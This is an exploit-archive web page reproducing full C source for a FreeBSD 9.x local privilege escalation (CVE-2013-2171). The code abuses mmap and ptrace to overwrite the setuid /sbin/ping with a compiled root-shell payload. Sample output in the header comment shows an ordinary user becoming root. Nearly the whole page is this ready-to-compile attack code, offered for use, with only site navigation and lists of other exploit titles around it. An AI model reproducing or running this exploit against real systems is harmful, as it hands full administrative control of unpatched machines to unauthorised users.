首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD mmap Privilege Escalation Exploit
来源:vfocus.net 作者:_hugsy_ 发布时间:2013-06-20  
/**
 * FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox)
 *
 * tested on FreeBSD 9.1
 * ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc
 *
 * @_hugsy_
 *
 * Syntax : 
 $ id
 uid=1001(user) gid=1001(user) groups=1001(user)
 $ gcc -Wall ./mmap.c && ./a.out
 [+] Saved old '/sbin/ping'
 [+] Using mmap-ed area at 0x281a4000
 [+] Attached to 3404
 [+] Copied 4917 bytes of payload to '/sbin/ping'
 [+] Triggering payload
 # id
 uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel)
 *
 * Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
 * 
 */
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>  
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define LEN    1000*getpagesize()
#define TARGET "/sbin/ping"  // will lose its SUID bit on restore, must be restored by hand

void kaboom(int pid, caddr_t addr)
{
  int nb, i, a, fd, n;
  char buf[60000] = {0,}; 
  
  a = i = 0;  
  fd = open(TARGET, O_RDONLY);
  nb = read(fd, buf, 60000);
  close(fd);
  printf("[+] Saved old '%s'\n", TARGET);
  printf("[+] Using mmap-ed area at %p\n", addr);
  
  if (ptrace(PT_ATTACH, pid, 0, 0) < 0) {
    perror("[-] ptrace(PT_ATTACH) failed");
    return;
  }
  printf("[+] Attached to %d\n", pid);
  wait(NULL);
  
  fd = open("./sc.c", O_WRONLY|O_CREAT,  S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
  write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84);
  close(fd);
  if (system("gcc -o ./sc ./sc.c") != 0) {
    perror("[-] gcc");
    return;
  }
  
  fd = open("./sc", O_RDONLY);  
  while (1) {
    int a;
    int n = read(fd, &a, sizeof(int));
    if (n <= 0) 
      break;
    
    if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) {
      perror("[-] ptrace(PT_WRITE_D) failed");
      return;
    }
    
    i+=n;
  }  
  close(fd);
  printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET);
  
  printf("[+] Triggering payload\n");
  system(TARGET);
  printf("[+] Restoring '%s'\n", TARGET);
  
  for (n=0, i=0; n<nb; n++) {
    if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) {
      perror("[-] ptrace(PT_WRITE_D) failed");
      return;
    }                                           
  }
  ptrace(PT_DETACH, pid, 0, 0);
  printf("[+] Done\n");
  
  return;
}

void dummy(int fd, caddr_t addr)
{
  sleep(1); 
  munmap(addr, LEN);
  close(fd);  
  return;
}

int main(int argc, char** argv, char** envp)
{
  int fd = open(TARGET, O_RDONLY);
  caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0);
    
  pid_t forked_pid = fork();
  switch(forked_pid) {
    case -1:
      return -1;
    case 0:
      dummy(fd, addr);
      break;
    default:
      munmap(addr, LEN);
        close(fd);
        
      kaboom(forked_pid, addr);
      wait(NULL);
      break;
  }

  return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MoinMoin twikidraw Action Trav
·Havalite CMS Arbitary File Upl
·Solaris 10 Patch Cluster File
·TP-Link Print Server TL PS110U
·Winamp 5.12 (.m3u) - Stack Bas
·MusicBee 2.0.4663 (.M3U) - Den
·Adrenalin Player 2.2.5.3 (.wax
·FreeBSD 9.0 / 9.1 mmap/ptrace
·Easy LAN Folder Share Version
·ASC Timetables 2013 - Stack Bu
·MS13-009 Microsoft Internet Ex
·Mediacoder .m3u SEH Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved